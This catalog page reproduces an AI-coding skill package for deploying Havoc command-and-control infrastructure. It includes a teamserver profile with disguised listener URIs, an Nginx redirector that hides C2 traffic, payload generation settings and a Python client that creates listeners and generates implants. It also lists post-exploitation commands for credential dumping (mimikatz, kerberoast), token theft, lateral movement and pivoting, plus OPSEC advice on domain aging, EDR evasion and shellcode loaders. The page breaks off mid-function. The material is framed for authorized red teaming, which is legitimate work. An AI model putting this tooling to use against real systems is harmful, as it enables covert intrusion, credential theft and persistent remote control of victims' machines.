
Building Red Team C2 Infrastructure With Havoc
- 154 installs
- 27.3k repo stars
- Updated August 2, 2026
- mukul975/anthropic-cybersecurity-skills
Helps with ai & agent building tasks.
About
building-red-team-c2-infrastructure-with-havoc is a Claude Code skill in the AI & Agent Building category.
- building-red-team-c2-infrastructure-with-havoc
- AI & Agent Building
- AI-coding skill
Building Red Team C2 Infrastructure With Havoc by the numbers
- 154 all-time installs (skills.sh)
- +6 installs in the week ending Aug 4, 2026 (Skillselion tracking)
- Ranked #3,330 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill building-red-team-c2-infrastructure-with-havocAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 154 |
|---|---|
| repo stars | ★ 27.3k |
| Last updated | August 2, 2026 |
| Repository | mukul975/anthropic-cybersecurity-skills ↗ |
What it does
Helps with ai & agent building tasks.
Files
Building Red Team C2 Infrastructure with Havoc
Overview
Havoc is a modern, open-source post-exploitation command and control (C2) framework created by C5pider. It provides a collaborative multi-operator interface similar to Cobalt Strike, featuring the Demon agent for Windows post-exploitation, customizable profiles for traffic malleable configurations, and support for HTTP/HTTPS/SMB listeners. This skill covers deploying production-grade Havoc C2 infrastructure with proper OPSEC considerations for authorized red team engagements.
When to Use
- When deploying or configuring building red team c2 infrastructure with havoc capabilities in your environment
- When establishing security controls aligned to compliance requirements
- When building or improving security architecture for this domain
- When conducting security assessments that require this implementation
Prerequisites
- Ubuntu 22.04 LTS or Debian 11+ (for Teamserver)
- Kali Linux 2023+ (for Client)
- VPS providers: DigitalOcean, Linode, or AWS EC2 (minimum 2GB RAM, 2 vCPU)
- Domain name aged 30+ days with valid SSL certificate
- Written authorization for red team engagement
Architecture
┌──────────────────────────────────────────────────────────────┐
│ HAVOC C2 ARCHITECTURE │
├──────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────┐ ┌──────────────┐ ┌──────────────────┐ │
│ │ Havoc │────▶│ HTTPS │────▶│ Target Network │ │
│ │ Client │ │ Redirector │ │ (Demon Agent) │ │
│ │ (Kali) │ │ (Nginx/CDN) │ │ │ │
│ └──────────┘ └──────────────┘ └──────────────────┘ │
│ │ │ │
│ │ ┌──────────────┐ │
│ └──────────▶│ Havoc │ │
│ │ Teamserver │ │
│ │ (Ubuntu VPS)│ │
│ │ Port 40056 │ │
│ └──────────────┘ │
│ │
└──────────────────────────────────────────────────────────────┘Step 1: Install Havoc Teamserver
# Clone the Havoc repository
git clone https://github.com/HavocFramework/Havoc.git
cd Havoc
# Install dependencies (Ubuntu 22.04)
sudo apt update
sudo apt install -y git build-essential apt-utils cmake libfontconfig1 \
libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev \
libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev \
libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser \
qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev \
qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev \
python3-dev libboost-all-dev mingw-w64 nasm
# Build the Teamserver
cd teamserver
go mod download golang.org/x/sys
go mod download github.com/ugorji/go
cd ..
make ts-build
# Build the Client
make client-buildStep 2: Configure Teamserver Profile
Create the Havoc profile (havoc.yaotl):
Teamserver {
Host = "0.0.0.0"
Port = 40056
Build {
Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc"
Compiler86 = "/usr/bin/i686-w64-mingw32-gcc"
Nasm = "/usr/bin/nasm"
}
}
Operators {
user "operator1" {
Password = "Str0ngP@ssw0rd!"
}
user "operator2" {
Password = "An0th3rP@ss!"
}
}
Listeners {
Http {
Name = "HTTPS Listener"
Hosts = ["c2.yourdomain.com"]
HostBind = "0.0.0.0"
HostRotation = "round-robin"
PortBind = 443
PortConn = 443
Secure = true
UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
Uris = [
"/api/v2/auth",
"/api/v2/status",
"/content/images/gallery",
]
Headers = [
"X-Requested-With: XMLHttpRequest",
"Content-Type: application/json",
]
Response {
Headers = [
"Content-Type: application/json",
"Server: nginx/1.24.0",
"X-Frame-Options: DENY",
]
}
}
}
Demon {
Sleep = 10
Jitter = 30
TrustXForwardedFor = false
Injection {
Spawn64 = "C:\\Windows\\System32\\notepad.exe"
Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
}
}Step 3: Start Teamserver
# Start the Havoc Teamserver with the profile
./havoc server --profile ./profiles/havoc.yaotl -v
# Expected output:
# [*] Havoc Framework [Version: 0.7]
# [*] Teamserver started on: 0.0.0.0:40056
# [*] HTTPS Listener started on: 0.0.0.0:443Step 4: Configure HTTPS Redirector
Set up an Nginx reverse proxy on a separate VPS as a redirector:
# /etc/nginx/sites-available/c2-redirector
server {
listen 443 ssl;
server_name c2.yourdomain.com;
ssl_certificate /etc/letsencrypt/live/c2.yourdomain.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/c2.yourdomain.com/privkey.pem;
# Only forward traffic matching C2 URIs
location /api/v2/auth {
proxy_pass https://TEAMSERVER_IP:443;
proxy_ssl_verify off;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $remote_addr;
}
location /api/v2/status {
proxy_pass https://TEAMSERVER_IP:443;
proxy_ssl_verify off;
proxy_set_header Host $host;
}
location /content/images/gallery {
proxy_pass https://TEAMSERVER_IP:443;
proxy_ssl_verify off;
proxy_set_header Host $host;
}
# Redirect all other traffic to legitimate site
location / {
return 301 https://www.microsoft.com;
}
}Step 5: Generate Demon Payload
# Via the Havoc Client GUI:
# Attack > Payload
# Agent: Demon
# Listener: HTTPS Listener
# Arch: x64
# Format: Windows Exe / Windows Shellcode
# Sleep Technique: WaitForSingleObjectEx (Ekko)
# Spawn: C:\Windows\System32\notepad.exe
# The generated Demon payload connects back through:
# Target -> Redirector (Nginx) -> TeamserverStep 6: Post-Exploitation with Demon
Once a Demon session checks in, common post-exploitation commands:
# Session interaction
demon> whoami
demon> shell systeminfo
demon> shell ipconfig /all
# Process listing
demon> proc list
# File operations
demon> download C:\Users\target\Documents\sensitive.docx
demon> upload /tools/Rubeus.exe C:\Windows\Temp\r.exe
# In-memory .NET execution (no disk touch)
demon> dotnet inline-execute /tools/Seatbelt.exe -group=all
demon> dotnet inline-execute /tools/SharpHound.exe -c All
# Token manipulation
demon> token steal <PID>
demon> token make DOMAIN\user password
# Credential access
demon> mimikatz sekurlsa::logonpasswords
demon> dotnet inline-execute /tools/Rubeus.exe kerberoast
# Lateral movement
demon> jump psexec TARGET_HOST HTTPS_LISTENER
demon> jump winrm TARGET_HOST HTTPS_LISTENER
# Pivoting
demon> socks start 1080
demon> rportfwd start 8080 TARGET_INTERNAL 80OPSEC Considerations
| Aspect | Recommendation |
|---|---|
| Domain Age | Register domains 30+ days before engagement |
| SSL Certificates | Use Let's Encrypt or purchased certificates, never self-signed |
| Categorization | Submit domain to Bluecoat/Fortiguard for categorization |
| Sleep/Jitter | Minimum 10s sleep with 30%+ jitter for long-haul operations |
| User-Agent | Match target organization's common browser user-agent |
| Kill Date | Set payload expiration to engagement end date |
| Infrastructure | Separate teamserver, redirector, and phishing infrastructure |
| Payload Format | Use shellcode with custom loader instead of raw EXE |
MITRE ATT&CK Mapping
| Technique ID | Name | Phase |
|---|---|---|
| T1583.001 | Acquire Infrastructure: Domains | Resource Development |
| T1583.003 | Acquire Infrastructure: Virtual Private Server | Resource Development |
| T1587.001 | Develop Capabilities: Malware | Resource Development |
| T1071.001 | Application Layer Protocol: Web Protocols | Command and Control |
| T1573.002 | Encrypted Channel: Asymmetric Cryptography | Command and Control |
| T1090.002 | Proxy: External Proxy | Command and Control |
| T1105 | Ingress Tool Transfer | Command and Control |
| T1055 | Process Injection | Defense Evasion |
References
- Havoc Framework GitHub: https://github.com/HavocFramework/Havoc
- Havoc Wiki: https://github.com/HavocFramework/Havoc/blob/main/WIKI.MD
- RedTeamOps Havoc 101: https://github.com/WesleyWong420/RedTeamOps-Havoc-101
- Deploying Havoc C2 via Terraform: https://www.100daysofredteam.com/p/red-team-infrastructure-deploying-havoc-c2-via-terraform
Havoc C2 Infrastructure Configuration Template
Engagement Details
| Field | Value |
|---|---|
| Engagement ID | RT-YYYY-XXX |
| Client | [Organization] |
| Operators | [Names] |
| Start Date | YYYY-MM-DD |
| End Date | YYYY-MM-DD |
| Kill Date | YYYY-MM-DD |
Infrastructure Inventory
Teamserver
| Field | Value |
|---|---|
| Provider | [AWS/DigitalOcean/Linode] |
| IP Address | X.X.X.X |
| OS | Ubuntu 22.04 LTS |
| Port | 40056 |
| Havoc Version | 0.7 |
| Access | SSH Key: [key name] |
Redirector(s)
| Name | Provider | IP | Domain | SSL Cert | Status |
|---|---|---|---|---|---|
| Redirector-1 | [Provider] | X.X.X.X | c2.domain.com | Let's Encrypt | Active |
| Redirector-2 | [Provider] | X.X.X.X | cdn.domain2.com | Let's Encrypt | Standby |
Domains
| Domain | Purpose | Registered | Aged | Categorized | SSL |
|---|---|---|---|---|---|
| c2.domain.com | Primary C2 | YYYY-MM-DD | Yes (45 days) | Business | Yes |
| cdn.domain2.com | Backup C2 | YYYY-MM-DD | Yes (60 days) | Technology | Yes |
| phish.domain3.com | Phishing | YYYY-MM-DD | Yes (30 days) | Uncategorized | Yes |
Havoc Profile Configuration
Teamserver:
Host: "0.0.0.0"
Port: 40056
Operators:
- Username: operator1
Password: [REDACTED]
- Username: operator2
Password: [REDACTED]
Listeners:
- Name: "Primary HTTPS"
Type: HTTPS
Host: c2.domain.com
Port: 443
URIs: ["/api/v2/auth", "/api/v2/status", "/content/images/gallery"]
User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
Jitter: 30%
- Name: "SMB Pivot"
Type: SMB
PipeName: "\\ntsvcs"
Demon:
Sleep: 10
Jitter: 30
Spawn64: "C:\\Windows\\System32\\notepad.exe"
Spawn32: "C:\\Windows\\SysWOW64\\notepad.exe"Payload Inventory
| Payload | Format | Listener | Arch | Hash (SHA256) | Delivery |
|---|---|---|---|---|---|
| stage1.bin | Shellcode | Primary HTTPS | x64 | [hash] | Custom loader |
| beacon.dll | DLL | Primary HTTPS | x64 | [hash] | DLL sideloading |
| pivot.exe | Service EXE | SMB Pivot | x64 | [hash] | Lateral movement |
OPSEC Checklist
Pre-Engagement
- [ ] Domains registered 30+ days before engagement start
- [ ] Domains categorized in Bluecoat, Fortiguard, Palo Alto
- [ ] SSL certificates obtained from trusted CA (not self-signed)
- [ ] Teamserver hardened (SSH keys only, fail2ban, UFW)
- [ ] Redirector filtering non-C2 traffic to legitimate site
- [ ] Malleable profile customized (URIs, headers, user-agent)
- [ ] Payloads tested against target AV/EDR in isolated lab
- [ ] Kill date configured on all payloads
- [ ] Operator logs enabled and encrypted at rest
During Engagement
- [ ] Beacon sleep/jitter appropriate for operation phase
- [ ] No default Havoc indicators in network traffic
- [ ] Post-exploitation tools loaded in-memory only
- [ ] Named pipes and service names randomized
- [ ] Token manipulation used instead of credential replay where possible
Post-Engagement
- [ ] All Demon sessions terminated
- [ ] All persistence mechanisms removed from target
- [ ] All payloads removed from target systems
- [ ] Teamserver logs archived and encrypted
- [ ] VPS instances destroyed
- [ ] Domains released or parked
- [ ] IOC list provided to client
Emergency Procedures
| Scenario | Action |
|---|---|
| Burned domain | Switch to backup redirector |
| Detected implant | Sleep beacon to 24h, assess exposure |
| Teamserver compromise | Kill all sessions, rotate infrastructure |
| Client emergency stop | Execute killall on all active Demons |
| Legal escalation | Contact [Legal Contact] at [phone] |
Operator Communication
| Channel | Purpose |
|---|---|
| Signal Group | Real-time coordination |
| Encrypted Email | Reports and documentation |
| Havoc Chat | In-tool session coordination |
| Emergency Phone | [Phone number] for critical issues |
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
API Reference: Red Team C2 Infrastructure with Havoc
For authorized penetration testing and lab environments only.
Havoc Teamserver API
Base URL: https://{teamserver}:{port}/api/
Authorization: Bearer {token}Listener Endpoints
| Method | Endpoint | Description |
|---|---|---|
| GET | /api/listeners | List active listeners |
| POST | /api/listeners | Create new listener |
| DELETE | /api/listeners/{name} | Remove listener |
Agent (Demon) Endpoints
| Method | Endpoint | Description |
|---|---|---|
| GET | /api/agents | List connected agents |
| POST | /api/agents/{id}/command | Task agent |
| GET | /api/agents/{id}/output | Get task output |
HTTPS Listener Config
{
"name": "https-c2",
"protocol": "Https",
"host": "0.0.0.0",
"port": 443,
"hosts": ["c2.example.com"],
"secure": true,
"user_agent": "Mozilla/5.0 ..."
}SMB Listener Config
{
"name": "smb-pivot",
"protocol": "Smb",
"pipe_name": "\\\\.\\pipe\\mojo_ipc"
}Payload Generation
POST /api/payloads/generate
{
"listener": "https-c2",
"arch": "x64",
"format": "exe",
"config": {
"sleep": 5,
"jitter": 20,
"indirect_syscalls": true,
"sleep_technique": "WaitForSingleObjectEx"
}
}Payload Formats
| Format | Description |
|---|---|
exe | Windows PE executable |
dll | DLL side-loading |
shellcode | Raw shellcode |
service_exe | Windows service binary |
Agent Properties
| Field | Description |
|---|---|
agent_id | Unique identifier |
hostname | Target hostname |
username | Running user context |
os | Operating system |
process_name | Host process |
pid | Process ID |
sleep | Callback interval (seconds) |
last_callback | Last check-in time |
Standards and References: Havoc C2 Infrastructure
MITRE ATT&CK Techniques
Resource Development (TA0042)
- T1583.001 - Acquire Infrastructure: Domains
- T1583.003 - Acquire Infrastructure: Virtual Private Server
- T1583.006 - Acquire Infrastructure: Web Services
- T1587.001 - Develop Capabilities: Malware
- T1587.003 - Develop Capabilities: Digital Certificates
- T1608.001 - Stage Capabilities: Upload Malware
- T1608.005 - Stage Capabilities: Link Target
Command and Control (TA0011)
- T1071.001 - Application Layer Protocol: Web Protocols (HTTP/HTTPS)
- T1573.001 - Encrypted Channel: Symmetric Cryptography
- T1573.002 - Encrypted Channel: Asymmetric Cryptography
- T1090.001 - Proxy: Internal Proxy
- T1090.002 - Proxy: External Proxy
- T1090.004 - Proxy: Domain Fronting
- T1105 - Ingress Tool Transfer
- T1132.001 - Data Encoding: Standard Encoding
- T1001 - Data Obfuscation
- T1568.002 - Dynamic Resolution: Domain Generation Algorithms
- T1571 - Non-Standard Port
- T1572 - Protocol Tunneling
Defense Evasion (TA0005)
- T1055 - Process Injection
- T1055.012 - Process Hollowing
- T1620 - Reflective Code Loading
- T1027 - Obfuscated Files or Information
- T1497 - Virtualization/Sandbox Evasion
- T1140 - Deobfuscate/Decode Files or Information
Execution (TA0002)
- T1059.001 - PowerShell
- T1106 - Native API
- T1129 - Shared Modules
NIST References
- NIST SP 800-115 - Section 4.3: Penetration Testing (authorized C2 usage)
- NIST SP 800-53 Rev. 5 - CA-8: Penetration Testing controls
- NIST SP 800-53 Rev. 5 - SI-4: Information System Monitoring (detection of C2)
Havoc-Specific Detection Signatures
| Detection | Source | Rule |
|---|---|---|
| Default Havoc HTTP Headers | Network IDS | alert http any any -> any any (msg:"Havoc C2 Default Headers"; content:"X-Havoc"; sid:1000001;) |
| Demon Sleep Patterns | EDR | Periodic beaconing with consistent intervals +/- jitter |
| Named Pipe Patterns | Sysmon | EventID 17/18 with \\.\pipe\ matching Havoc defaults |
| Default Teamserver Port | Firewall | TCP 40056 outbound |
Compliance Context
Havoc C2 usage is only authorized under:
- Signed Rules of Engagement (RoE) documents
- Authorized penetration testing under PCI DSS 11.4, SOC 2 CC7.1
- TIBER-EU / CBEST threat-led penetration testing frameworks
- Bug bounty programs with explicit C2 authorization
Workflows: Havoc C2 Infrastructure Deployment
Infrastructure Deployment Workflow
┌─────────────────────────────────────────────────────────────────┐
│ HAVOC C2 DEPLOYMENT WORKFLOW │
├─────────────────────────────────────────────────────────────────┤
│ │
│ 1. DOMAIN & INFRASTRUCTURE PREPARATION (Week -4) │
│ ├── Register domain names (aged 30+ days) │
│ ├── Submit domains for categorization (Bluecoat, Fortiguard) │
│ ├── Provision VPS instances (Teamserver + Redirector) │
│ ├── Obtain SSL certificates (Let's Encrypt) │
│ └── Configure DNS A records │
│ │
│ 2. TEAMSERVER SETUP (Day 1) │
│ ├── Install dependencies on Ubuntu VPS │
│ ├── Clone and build Havoc from source │
│ ├── Create teamserver profile (havoc.yaotl) │
│ │ ├── Configure operator credentials │
│ │ ├── Define listeners (HTTPS, SMB) │
│ │ ├── Set Demon agent parameters │
│ │ └── Configure malleable traffic profiles │
│ ├── Harden teamserver (iptables, fail2ban) │
│ └── Start teamserver with verbose logging │
│ │
│ 3. REDIRECTOR CONFIGURATION (Day 1-2) │
│ ├── Install Nginx on redirector VPS │
│ ├── Configure SSL termination │
│ ├── Set up reverse proxy rules │
│ │ ├── Forward C2 URIs to teamserver │
│ │ └── Redirect non-matching traffic to legit site │
│ ├── Configure access logging │
│ └── Test end-to-end connectivity │
│ │
│ 4. PAYLOAD DEVELOPMENT (Day 2-3) │
│ ├── Generate Demon shellcode via Havoc Client │
│ ├── Develop custom loader (C/Rust/Nim) │
│ │ ├── AES-encrypt shellcode │
│ │ ├── Implement sleep obfuscation │
│ │ ├── Add sandbox checks │
│ │ └── Use indirect syscalls │
│ ├── Test against AV/EDR in lab │
│ └── Package for delivery vector │
│ │
│ 5. OPERATIONAL TESTING (Day 3-4) │
│ ├── Test beacon callback through full chain │
│ ├── Verify redirector filtering │
│ ├── Test sleep/jitter behavior │
│ ├── Validate post-exploitation modules │
│ └── Confirm kill switch functionality │
│ │
│ 6. OPERATIONAL USE (Engagement period) │
│ ├── Deploy payloads via approved vectors │
│ ├── Manage sessions through Havoc Client │
│ ├── Execute post-exploitation tasks │
│ ├── Maintain operator logs │
│ └── Monitor infrastructure health │
│ │
│ 7. TEAR-DOWN (Post-engagement) │
│ ├── Remove all implants from target systems │
│ ├── Archive engagement logs │
│ ├── Destroy VPS instances │
│ ├── Release domain names │
│ └── Provide IOCs to client for deconfliction │
│ │
└─────────────────────────────────────────────────────────────────┘Havoc Listener Configuration Decision Tree
Select Listener Type
│
├── External (Internet-facing targets)?
│ ├── HTTPS Listener
│ │ ├── Use valid SSL certificate
│ │ ├── Configure malleable URIs
│ │ ├── Set User-Agent to match target
│ │ └── Route through redirector
│ └── HTTP Listener (lab only)
│ └── Never use in production operations
│
├── Internal (post-initial access)?
│ ├── SMB Listener (named pipe)
│ │ ├── For workstation-to-workstation pivoting
│ │ └── No direct internet connectivity needed
│ └── TCP Listener
│ └── For direct internal connections
│
└── Advanced?
└── External C2 Listener
├── Custom protocol over DNS
├── Domain fronting via CDN
└── Third-party service channelsTerraform Deployment Template
# main.tf - Automated Havoc C2 Infrastructure
provider "aws" {
region = "us-east-1"
}
resource "aws_instance" "teamserver" {
ami = "ami-0c7217cdde317cfec" # Ubuntu 22.04
instance_type = "t3.medium"
key_name = var.ssh_key_name
vpc_security_group_ids = [aws_security_group.teamserver_sg.id]
user_data = file("scripts/install_havoc.sh")
tags = {
Name = "havoc-teamserver"
}
}
resource "aws_instance" "redirector" {
ami = "ami-0c7217cdde317cfec"
instance_type = "t3.micro"
key_name = var.ssh_key_name
vpc_security_group_ids = [aws_security_group.redirector_sg.id]
user_data = file("scripts/install_redirector.sh")
tags = {
Name = "havoc-redirector"
}
}
resource "aws_security_group" "teamserver_sg" {
name = "havoc-teamserver-sg"
ingress {
from_port = 40056
to_port = 40056
protocol = "tcp"
cidr_blocks = [var.operator_ip]
}
ingress {
from_port = 443
to_port = 443
protocol = "tcp"
cidr_blocks = [aws_instance.redirector.public_ip]
}
}
resource "aws_security_group" "redirector_sg" {
name = "havoc-redirector-sg"
ingress {
from_port = 443
to_port = 443
protocol = "tcp"
cidr_blocks = ["0.0.0.0/0"]
}
}OPSEC Checklist
- [ ] Domains aged 30+ days before use
- [ ] Domains categorized in web proxies
- [ ] Valid SSL certificates installed
- [ ] Teamserver port (40056) firewalled to operator IPs only
- [ ] Redirector configured to filter non-C2 traffic
- [ ] Malleable C2 profile customized (URIs, headers, user-agent)
- [ ] Demon sleep set to 10+ seconds with 30%+ jitter
- [ ] Payload tested against target AV/EDR in lab
- [ ] Kill date set on all payloads
- [ ] Operator logs enabled and encrypted
- [ ] Emergency deconfliction process documented
#!/usr/bin/env python3
"""Havoc C2 Infrastructure Builder Agent - Manages Havoc C2 framework deployment and listener setup.
# For authorized penetration testing and lab environments only.
"""
import json
import logging
import argparse
from datetime import datetime
import requests
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
logger = logging.getLogger(__name__)
HAVOC_DEFAULT_PORT = 40056
def havoc_api_request(teamserver, endpoint, token, method="GET", data=None):
"""Make authenticated request to Havoc teamserver API."""
url = f"https://{teamserver}/api/{endpoint}"
headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
try:
if method == "GET":
resp = requests.get(url, headers=headers, timeout=15, verify=False)
else:
resp = requests.post(url, headers=headers, json=data or {}, timeout=15, verify=False)
resp.raise_for_status()
return resp.json()
except requests.RequestException as e:
logger.error("Havoc API request failed: %s", e)
return {"error": str(e)}
def list_listeners(teamserver, token):
"""List active listeners on the teamserver."""
data = havoc_api_request(teamserver, "listeners", token)
listeners = data.get("listeners", [])
logger.info("Found %d active listeners", len(listeners))
return listeners
def create_https_listener(teamserver, token, name, bind_addr, bind_port, hosts, secure=True):
"""Create an HTTPS listener."""
config = {
"name": name,
"protocol": "Https",
"host": bind_addr,
"port": bind_port,
"hosts": hosts,
"secure": secure,
"user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"headers": ["Content-Type: application/json", "X-Forwarded-For: 127.0.0.1"],
}
result = havoc_api_request(teamserver, "listeners", token, method="POST", data=config)
logger.info("Created HTTPS listener '%s' on %s:%d", name, bind_addr, bind_port)
return result
def create_smb_listener(teamserver, token, name, pipe_name):
"""Create an SMB named pipe listener for pivoting."""
config = {"name": name, "protocol": "Smb", "pipe_name": pipe_name}
result = havoc_api_request(teamserver, "listeners", token, method="POST", data=config)
logger.info("Created SMB listener '%s' on pipe %s", name, pipe_name)
return result
def list_agents(teamserver, token):
"""List connected agents (demons)."""
data = havoc_api_request(teamserver, "agents", token)
agents = data.get("agents", [])
logger.info("Found %d connected agents", len(agents))
return [{"id": a.get("agent_id"), "hostname": a.get("hostname"), "username": a.get("username"),
"os": a.get("os"), "process": a.get("process_name"), "pid": a.get("pid"),
"last_callback": a.get("last_callback"), "sleep": a.get("sleep")} for a in agents]
def generate_payload(teamserver, token, listener_name, payload_type="exe", arch="x64"):
"""Generate a Havoc demon payload."""
config = {
"listener": listener_name,
"arch": arch,
"format": payload_type,
"config": {
"sleep": 5,
"jitter": 20,
"indirect_syscalls": True,
"stack_duplication": True,
"sleep_technique": "WaitForSingleObjectEx",
},
}
result = havoc_api_request(teamserver, "payloads/generate", token, method="POST", data=config)
logger.info("Generated %s payload for listener '%s'", payload_type, listener_name)
return result
def assess_infrastructure(listeners, agents):
"""Assess C2 infrastructure health and coverage."""
assessment = {
"listener_count": len(listeners),
"agent_count": len(agents),
"protocols_in_use": list(set(l.get("protocol", "unknown") for l in listeners)),
"unique_hosts": list(set(a.get("hostname", "unknown") for a in agents)),
